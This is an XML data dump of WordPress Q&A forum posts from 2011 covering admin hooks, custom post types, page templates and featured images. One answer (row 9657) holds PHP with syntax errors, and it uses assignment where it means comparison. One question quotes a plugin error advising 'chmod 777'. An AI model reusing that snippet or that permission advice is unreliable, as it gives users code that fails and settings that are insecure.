  <row Id="9649" PostTypeId="2" ParentId="6822" CreationDate="2011-02-17T17:34:30.987" Score="0" ViewCount="" Body="&lt;p&gt;Simple answer: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Complex answer: After looking at the &lt;a href=&quot;http://svn.wp-plugins.org/wp-downloadmanager/trunk/wp-downloadmanager.php&quot; rel=&quot;nofollow&quot;&gt;plugin's source code&lt;/a&gt;, the downloads table used to store the stats is not structured such that you could just edit this single query to give you that kind of information. It would take a much more extensive rewrite of the plugin to handle your request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Possible Workaround: The plugin has a function called &lt;code&gt;get_recent_downloads&lt;/code&gt; which looks like it outputs a list of the newest files.&lt;/p&gt;&#xA;" OwnerUserId="199" LastActivityDate="2011-02-17T17:34:30.987" CommentCount="1" />
  <row Id="9650" PostTypeId="2" ParentId="9645" CreationDate="2011-02-17T17:42:14.617" Score="2" ViewCount="" Body="&lt;p&gt;Ok, total revision on my original answer, which just turned into a mess. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue with your code is that you're firing on init, this covers every admin page, and additionally it's too early to check admin vars to work out the current page(though you could just check &lt;code&gt;$_GET&lt;/code&gt; if you really need to run code that early).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want to specifically hook to the post edit pages, though you've not indicated you need to run on the post listing to(edit.php), so i'll exclude that from the examples that follow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can hook to a few different actions that occur inside the admin head, and do whatever you need to do there and be able to reliably check the post type by giving &lt;code&gt;$post_type&lt;/code&gt; scope inside your callback function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your callback would go a little something like this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function mycallback() {&#xA;    global $post_type;&#xA;    if( 'events' != $post_type )&#xA;        return;&#xA;    // Do your code here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What action you want that hooked onto is down to what you want to run at that point, if you're not doing anything in particular but want to execute something, then perhaps the generic admin head hook will be suitable..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-post.php', 'mycallback', 1000 );&#xA;add_action( 'admin_head-post-new.php', 'mycallback', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're loading a script, then you might use..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_scripts-post.php', 'mycallback', 1000 );&#xA;add_action( 'admin_print_scripts-post-new.php', 'mycallback', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're loading a stylesheet, then possibly..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_print_styles-post.php', 'mycallback', 1000 );&#xA;add_action( 'admin_print_styles-post-new.php', 'mycallback', 1000 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Else i'll need to know more about what you're doing... :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-17T20:34:37.447" LastActivityDate="2011-02-17T20:34:37.447" CommentCount="9" />
  <row Id="9651" PostTypeId="2" ParentId="9648" CreationDate="2011-02-17T17:43:53.593" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Tirithen:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tried &lt;em&gt;(which assumes your custom post type is &lt;code&gt;'animal'&lt;/code&gt; and not &lt;code&gt;'animals'&lt;/code&gt;):&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post = get_page_by_path('cat',OBJECT,'animal'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-02-17T17:43:53.593" CommentCount="2" />
  <row Id="9652" PostTypeId="1" CreationDate="2011-02-17T17:57:59.937" Score="0" ViewCount="50" Body="&lt;p&gt;A strange phenomenon has occurred with my new printing options. When a user presses print some options appear only on the printed version &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Expand&#xA;       nextprevious Close Previous 0/0 Next&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Very odd. I don't know where they have come from. They are not in the theme and don't appear anywhere else on the entire site. Only on the printed document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link. All you have to do to see what I mean is press the print button on the right hand side. &lt;a href=&quot;http://www.divethegap.com/update/booking/adventure-training-131/&quot; rel=&quot;nofollow&quot;&gt;http://www.divethegap.com/update/booking/adventure-training-131/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marvellous&lt;/p&gt;&#xA;" OwnerUserId="2957" LastActivityDate="2011-02-17T17:57:59.937" Title="Printing of bookings showing source date" Tags="&lt;theme-development&gt;&lt;links&gt;" CommentCount="1" />
  <row Id="9653" PostTypeId="1" CreationDate="2011-02-17T18:11:17.040" Score="0" ViewCount="70" Body="&lt;p&gt;My question is kind of simple: I have a voucher. I would like to people fill an form on my WordPress site and when they click submit, they receive an e-mail with the voucher...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin out there for that? If there is not, how could I accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="3248" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-02-17T18:50:56.737" LastActivityDate="2011-02-17T19:31:19.137" Title="free form wordpress" Tags="&lt;form&gt;" AnswerCount="1" />
  <row Id="9654" PostTypeId="1" AcceptedAnswerId="9657" CreationDate="2011-02-17T18:12:04.683" Score="0" ViewCount="70" Body="&lt;p&gt;I have a widget area on my posts category pages and am wondering if there is a way to dynamically add a link to the first post as well as the current post of the category. I think the first post can be hardcoded since it will never change, but the current one will. I wonder what sort of php madness that can do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know I know, you are asking why not just use the post navigation that already comes right... Well clients being what they are. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciate and will very much aid in my not walking of a cliff. &lt;/p&gt;&#xA;" OwnerUserId="2583" LastActivityDate="2011-02-17T19:07:35.563" Title="Post Navigation" Tags="&lt;posts&gt;&lt;navigation&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="9655" PostTypeId="2" ParentId="9653" CreationDate="2011-02-17T18:39:29.153" Score="2" ViewCount="" Body="&lt;p&gt;you can do that very simply with &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;contact form 7&lt;/a&gt; plugin that lets you send two emails on every form submit, so on the first mail collect all of the form fields and send it to your self and in the 2nd email just mail the user the voucher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-02-17T19:31:19.137" LastActivityDate="2011-02-17T19:31:19.137" CommentCount="2" />
  <row Id="9656" PostTypeId="1" CreationDate="2011-02-16T21:27:31.387" Score="0" ViewCount="117" Body="&lt;p&gt;I have installed the Nanoplex 1.0.3 theme for Wordpress and the orange content bars begin waaaay off the left side of the page, rendering them usless. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They aren't starting at the left margin and bleeding off right as they do in the theme page.  Please help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love this theme.&#xA;Thanks.&lt;/p&gt;&#xA;" LastEditorUserId="2727" LastEditorDisplayName="" LastEditDate="2011-02-17T20:00:28.523" LastActivityDate="2011-04-21T13:47:43.300" Title="WP Nanoplex 1.0.3 malfunction" Tags="&lt;themes&gt;&lt;css&gt;" AnswerCount="2" />
  <row Id="9657" PostTypeId="2" ParentId="9654" CreationDate="2011-02-17T19:07:35.563" Score="1" ViewCount="" Body="&lt;p&gt;you can use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/screenshots/&quot; rel=&quot;nofollow&quot;&gt;wp-pagenavi&lt;/a&gt; and set the &quot;number of pages to show&quot; to 3 &#xA;so you will get&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[first] [6] [&lt;strong&gt;7&lt;/strong&gt;] [8] [last]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now if you just need the names of the post then you could do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;    //curent post&#xA;    $thePostID = $wp_query-&amp;gt;post-&amp;gt;ID;&#xA;    $my_query = new WP_Query(array('cat' =&amp;gt; get_query_var('cat')));&#xA;    $count = 0;&#xA;    $curent_count = 0;&#xA;    if ($my_query-&amp;gt;have_posts()){&#xA;        while  ($my_query-&amp;gt;have_posts()){&#xA;            $no_repeat = array();&#xA;            $my_query-&amp;gt;the_post();&#xA;            $count = $count + 1;&#xA;            if ($count = 1 ){// the first post in the category&#xA;                if (!in_array($post-&amp;gt;ID,$no_repeat){&#xA;                    echo '&amp;lt;a href=&quot;'.the_permalink().'&quot;&amp;gt;'.the_title().'&amp;lt;/a&amp;gt; ';&#xA;                    $no_repeat[] = $post-&amp;gt;ID;&#xA;                }&#xA;            }&#xA;            if ($count = ($thePostID -1) ){//previous post&#xA;                if (!in_array($post-&amp;gt;ID,$no_repeat){&#xA;                    echo '&amp;lt;a href=&quot;'.the_permalink().'&quot;&amp;gt;'.the_title().'&amp;lt;/a&amp;gt; ';&#xA;                    $no_repeat[] = $post-&amp;gt;ID;&#xA;                }&#xA;            }&#xA;            if ($count = $thePostID){//Current post&#xA;                if (!in_array($post-&amp;gt;ID,$no_repeat){&#xA;                    echo '&amp;lt;a href=&quot;'.the_permalink().'&quot;&amp;gt;'.the_title().'&amp;lt;/a&amp;gt; ';&#xA;                    $no_repeat[] = $post-&amp;gt;ID;&#xA;                }&#xA;            }&#xA;            if ($count = ($thePostID + 1)){//Current post&#xA;                if (!in_array($post-&amp;gt;ID,$no_repeat){&#xA;                    echo '&amp;lt;a href=&quot;'.the_permalink().'&quot;&amp;gt;'.the_title().'&amp;lt;/a&amp;gt; ';&#xA;                    $no_repeat[] = $post-&amp;gt;ID;&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T19:07:35.563" CommentCount="5" />
  <row Id="9658" PostTypeId="1" AcceptedAnswerId="9659" CreationDate="2011-02-17T19:30:00.573" Score="2" ViewCount="148" Body="&lt;p&gt;I have a previously created thread here, but was recommended to make a new one:&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9536/i-need-basic-help-with-custom-post-types&quot;&gt;I need basic help with custom post types.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically here's my project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to create a back-end wordpress gui user input section. The user will enter details about their projects like name, location, what it is, some other details. A page will display the top 9 recent or so in a 3x3 grid. There will be a search bar to search projects for related tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to set it up where only certain user accounts can access this post type to upload projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have currently:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;used functions.php to setup my post&#xA;type and it works&lt;/li&gt;&#xA;&lt;li&gt;used simple forms plugin to create&#xA;forms on the add new page&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Background: I am a pretty entry level person in wordpress, and slightly overwhelmed right now. But, it's slowly coming together. Any input on structure or anything would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: I have created the forms, but I need to know what to put in the single-projects.php to display the content from the forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you so much&lt;/p&gt;&#xA;" OwnerUserId="3226" LastActivityDate="2011-02-17T21:42:34.610" Title="I am trying to create a back-end wordpress content submission using custom post type and I need some basic guidance on how to go about doing this" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;user-access&gt;" AnswerCount="1" />
  <row Id="9659" PostTypeId="2" ParentId="9658" CreationDate="2011-02-17T19:44:58.143" Score="0" ViewCount="" Body="&lt;p&gt;There are several user access plugins available, including one called &lt;a href=&quot;http://wordpress.org/extend/plugins/members/&quot; rel=&quot;nofollow&quot;&gt;Members&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The settings panel for the Members plugin is in Settings &gt;&gt; Members Components. From there you can enable what you want. To edit roles you have to enable the Edit Roles component, then go to Users &gt;&gt; Roles. Click on the role you want to edit. You will see a list of all available capabilities with the ones that are enabled checked and in bold. There are six text boxes at the bottom of the page allowing you to add six capabilities at a time. Just type in the names there and they will be added to that role and to the list of capabilities. To add them to another role, just select them in the list. &lt;/p&gt;&#xA;" OwnerUserId="172" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-17T21:42:34.610" LastActivityDate="2011-02-17T21:42:34.610" CommentCount="27" />
  <row Id="9660" PostTypeId="1" AcceptedAnswerId="9672" CreationDate="2011-02-17T19:48:39.453" Score="0" ViewCount="155" Body="&lt;p&gt;Could somebody help me make a custom page template? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to have a basic page (with sidebars, header and footers) and a table for data. I'd like the data to be taken from custom fields. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name: (name key)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Location: (location key)&#xA;etc...&lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-02-18T00:07:10.323" Title="Custom Page Template" Tags="&lt;custom-field&gt;&lt;page&gt;&lt;template&gt;&lt;customization&gt;" AnswerCount="2" CommentCount="8" FavoriteCount="1" />
  <row Id="9661" PostTypeId="1" CreationDate="2011-02-17T20:12:27.697" Score="0" ViewCount="131" Body="&lt;p&gt;I moved my site to a new server and new domain.  When I tried reactivating the W3 Total Cache I receive the following fatal error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{server path}/wp-content/w3tc-domain.com/dbcache could not be created, please run following command:&#xA;chmod 777 {server path}/wp-content/w3tc-domain.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried running the command but the w3tc-domain.com directory does not exist.  If I try to create the directory, when I reactivate the plugin, W3TC will delete the folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried deleting the plugin and reinstalling it, but have had no luck.  I'm thinking there is something saved in the database that might be influencing the fatal error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else experienced this?  I'd like to fix this and reenable cache on my site? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-02-17T20:12:27.697" Title="W3TC Fatal Error dbcache could not be created" Tags="&lt;plugins&gt;&lt;3.0&gt;&lt;errors&gt;&lt;plugin-w3-total-cache&gt;" CommentCount="1" />
  <row Id="9662" PostTypeId="2" ParentId="9660" CreationDate="2011-02-17T20:31:20.133" Score="0" ViewCount="" Body="&lt;p&gt;Hmm. I'd have thought it would be a small request, I'll try rephrasing the question to be more specific. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3249" LastActivityDate="2011-02-17T20:31:20.133" />
  <row Id="9663" PostTypeId="2" ParentId="9644" CreationDate="2011-02-17T20:38:13.387" Score="0" ViewCount="" Body="&lt;p&gt;Can you try &lt;a href=&quot;http://wordpress.org/support/topic/plugin-simplemodal-login-does-not-redirect-to-anything?replies=5#post-1860427&quot; rel=&quot;nofollow&quot;&gt;this fix&lt;/a&gt; and see if it resolved your issue?&lt;/p&gt;&#xA;" OwnerUserId="2651" LastActivityDate="2011-02-17T20:38:13.387" CommentCount="1" />
  <row Id="9665" PostTypeId="3" CreationDate="2011-02-17T20:50:15.793" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Model%E2%80%93View%E2%80%93Controller#PHP&quot; rel=&quot;nofollow&quot;&gt;MVC - Wikipedia&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-17T21:16:09.080" LastActivityDate="2011-02-17T21:16:09.080" />
  <row Id="9666" PostTypeId="3" CreationDate="2011-02-17T20:50:15.793" Score="0" ViewCount="" Body="Wikipedia: Model–View–Controller (MVC) is a software architecture, currently considered an architectural pattern used in software engineering. The pattern isolates &quot;domain logic&quot; (the application logic for the user) from the user interface (input and presentation), permitting independent development, testing and maintenance of each (separation of concerns)." OwnerUserId="-1" LastEditorUserId="172" LastEditorDisplayName="" LastEditDate="2011-02-17T21:16:11.140" LastActivityDate="2011-02-17T21:16:11.140" />
  <row Id="9667" PostTypeId="1" AcceptedAnswerId="9668" CreationDate="2011-02-17T20:52:31.003" Score="1" ViewCount="894" Body="&lt;p&gt;How can i get wordpress posts content by post id ?&lt;/p&gt;&#xA;" OwnerUserId="2215" LastActivityDate="2011-02-17T21:19:09.017" Title="Get wordpress post content by post id" Tags="&lt;posts&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9668" PostTypeId="2" ParentId="9667" CreationDate="2011-02-17T21:19:09.017" Score="3" ViewCount="" Body="&lt;p&gt;Simple as it gets&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_postid = 12;//This is page id or post id&#xA;$content_post = get_post($my_postid);&#xA;$content = $content_post-&amp;gt;post_content;&#xA;$content = apply_filters('the_content', $content);&#xA;$content = str_replace(']]&amp;gt;', ']]&amp;gt;', $content);&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T21:19:09.017" CommentCount="4" />
  <row Id="9669" PostTypeId="1" AcceptedAnswerId="9671" CreationDate="2011-02-17T21:27:14.220" Score="0" ViewCount="266" Body="&lt;p&gt;get_terms allows me to get all taxonomy values, but how do I limit this to a certain post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't see anyway to feed a specific post ID to get_terms: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_terms&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps there is another way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-02-17T21:34:52.743" Title="How do I get terms as a list for a specific post?" Tags="&lt;custom-taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9670" PostTypeId="2" ParentId="9669" CreationDate="2011-02-17T21:32:52.213" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;wp_get_object_terms( $post_id, $taxonomy )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return an array of the term objects for that post of that taxonomy. &lt;code&gt;$post_id&lt;/code&gt; can also be an array of ids (this will return all terms attached to any post in the array), and &lt;code&gt;$taxonomy&lt;/code&gt; can also be an array of taxonomies.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2011-02-17T21:32:52.213" />
  <row Id="9671" PostTypeId="2" ParentId="9669" CreationDate="2011-02-17T21:34:52.743" Score="0" ViewCount="" Body="&lt;p&gt;Ahah! I need to use get_the_terms instead, as this will accept a post ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_terms&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_the_terms&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-02-17T21:34:52.743" />
  <row Id="9672" PostTypeId="2" ParentId="9660" CreationDate="2011-02-17T21:52:09.440" Score="2" ViewCount="" Body="&lt;p&gt;Ok, first step is to create a page template, this is the easy part, and there's no query manipulation needed here, you're not changing the query, simply looking at the page that's already in the query, so that's a simple case of creating a basic loop, like so...(noting that i've placed a special page template comment at the top of the code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; When you save this file in your theme's folder, make sure not to give it the name of a theme template file, so don't call it &lt;strong&gt;category.php&lt;/strong&gt; or &lt;strong&gt;archive.php&lt;/strong&gt;(any filename native to WordPress themes), instead use something unique, eg. &lt;strong&gt;customfields-template.php&lt;/strong&gt; (or whatever you like).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: CustomField Table&#xA; */&#xA;get_header(); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;container&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&#xA;        &amp;lt;?php if( have_posts() ) : ?&amp;gt;&#xA;&#xA;            &amp;lt;?php while( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;                &amp;lt;h2&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;                &amp;lt;?php&#xA;                // Array of custom fields to get(so enter your applicable field keys here)&#xA;                $fields = array( 'field-one', 'field-two' );&#xA;&#xA;                // Array to hold data&#xA;                $custom_fields = array();&#xA;&#xA;                // Loop over keys and fetch post meta for each, store into new array&#xA;                foreach( $fields as $custom_field_key )&#xA;                    $custom_fields[$custom_field_key] = get_post_meta( $post-&amp;gt;ID, $custom_field_key, true );&#xA;&#xA;                // Filter out any empty / false values&#xA;                $custom_fields = array_filter( $custom_fields );&#xA;&#xA;                // If we have custom field data &#xA;                if( !empty( $custom_fields ) )&#xA;                    $c = 0;&#xA;                ?&amp;gt;&#xA;                &amp;lt;table&amp;gt;&#xA;                    &amp;lt;thead&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Field&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Value&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;/thead&amp;gt;&#xA;                    &amp;lt;tbody&amp;gt;&#xA;                        &amp;lt;?php foreach( $custom_fields as $field_name =&amp;gt; $field_value ) : $c++; ?&amp;gt;&#xA;                        &amp;lt;tr&amp;lt;?php echo ( $c % 2 == 0 ) ? ' class=&quot;alt&quot;' : '' ; ?&amp;gt;&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;?php echo $field_name ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;td&amp;gt;&amp;lt;?php echo $field_value ?&amp;gt;&amp;lt;/td&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                        &amp;lt;?php endforeach; ?&amp;gt;&#xA;                    &amp;lt;/tbody&amp;gt;&#xA;                    &amp;lt;tfoot&amp;gt;&#xA;                        &amp;lt;tr&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Field&amp;lt;/th&amp;gt;&#xA;                            &amp;lt;th&amp;gt;Value&amp;lt;/th&amp;gt;&#xA;                        &amp;lt;/tr&amp;gt;&#xA;                    &amp;lt;/tfoot&amp;gt;&#xA;                &amp;lt;/table&amp;gt;&#xA;&#xA;                &amp;lt;div &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php get_sidebar(); ?&amp;gt;&#xA;&amp;lt;?php get_footer(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since you're looking for particular keys and expect singular values, the easiest and most suitable function i feel to use would be &lt;code&gt;get_post_meta&lt;/code&gt;, this function can select multiple or single values for a single custom field key(and automatically excludes private meta keys that you'd otherwise get with the &lt;code&gt;get_post_custom_&lt;/code&gt; functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More on those functions can be found here.&lt;br&gt;&#xA;&lt;a href=&quot;http://codex.wordpress.org/Custom_Fields#Function_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Custom_Fields#Function_Reference&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a simple array of the custom field keys to select data from, then loop over them calling &lt;code&gt;get_post_meta&lt;/code&gt; with each iteration. Gather that meta data and place it into a new array so it can later be easily filtered of empty/false results(rather then repeated &lt;code&gt;if( $var )&lt;/code&gt; or &lt;code&gt;if(!empty())&lt;/code&gt; calls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next check the new array has some data, output a table and loop over the new array to build the rows of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only thing you need change is this line(these are my test field names)..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = array( 'field-one', 'field-two' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for example, to get custom fields with the keys, name, gender, job and description..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fields = array( 'name', 'gender', 'job', 'description' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I took the liberty of adding alternating classes to the table rows&lt;/li&gt;&#xA;&lt;li&gt;I assumed you'd want post title and content to(remove if not needed)&lt;/li&gt;&#xA;&lt;li&gt;HTML markup is based on the TwentyTen theme, if your theme uses different markup you'll need to update the HTML as needed(or you can link me to one of your webpages and i'll refactor the sample code for you)&lt;/li&gt;&#xA;&lt;li&gt;I wasn't sure how you wanted the data displayed in the table, so if you had a different idea about how to layout the data in the table, let me know and i'll refactor the code for you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let me know if you have any questions regarding the code. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-02-18T00:07:10.323" LastActivityDate="2011-02-18T00:07:10.323" CommentCount="4" />
  <row Id="9673" PostTypeId="2" ParentId="9419" CreationDate="2011-02-17T22:11:52.667" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest taking a look at the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/screenshots/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks plugin&lt;/a&gt;. I don't have time to test right now, but it may help with your situation.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2011-02-17T22:11:52.667" CommentCount="1" />
  <row Id="9674" PostTypeId="1" CreationDate="2011-02-17T22:13:26.957" Score="0" ViewCount="201" Body="&lt;p&gt;i have a problem with my website my feature images are not shown&#xA;i have uploaded it as set as featured image&#xA;but after so many tries there is no way to show the feature image please help me&lt;/p&gt;&#xA;" LastActivityDate="2011-02-17T22:22:31.700" Title="featured image is not showing" Tags="&lt;post-thumbnails&gt;" AnswerCount="1" />
  <row Id="9675" PostTypeId="1" CreationDate="2011-02-17T22:22:18.010" Score="0" ViewCount="120" Body="&lt;p&gt;I mass import products via csv and use this plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/cache-images/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/cache-images/&lt;/a&gt; to download the images to my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is some of the image urls have % and + characters in them and I get blank images from these.  I always end up having to set the product images manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please give me the code to insert inside my plugin or maybe in my function.php?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3258" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:53:07.103" LastActivityDate="2011-06-07T14:53:07.103" Title="How to automatically convert &quot;%&quot; and &quot;+&quot; in image urls on upload" Tags="&lt;errors&gt;&lt;uploads&gt;&lt;image&gt;&lt;cache&gt;&lt;encoding&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="9676" PostTypeId="2" ParentId="9674" CreationDate="2011-02-17T22:22:31.700" Score="1" ViewCount="" Body="&lt;p&gt;You need to call it in your theme.&#xA;open your theme index.php or better if you have loop.php and &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;inside the loop&lt;/a&gt;&#xA;add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if ( has_post_thumbnail() ) { // check if the post has a Post Thumbnail assigned to it.&#xA;  the_post_thumbnail();&#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope This helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-17T22:22:31.700" />
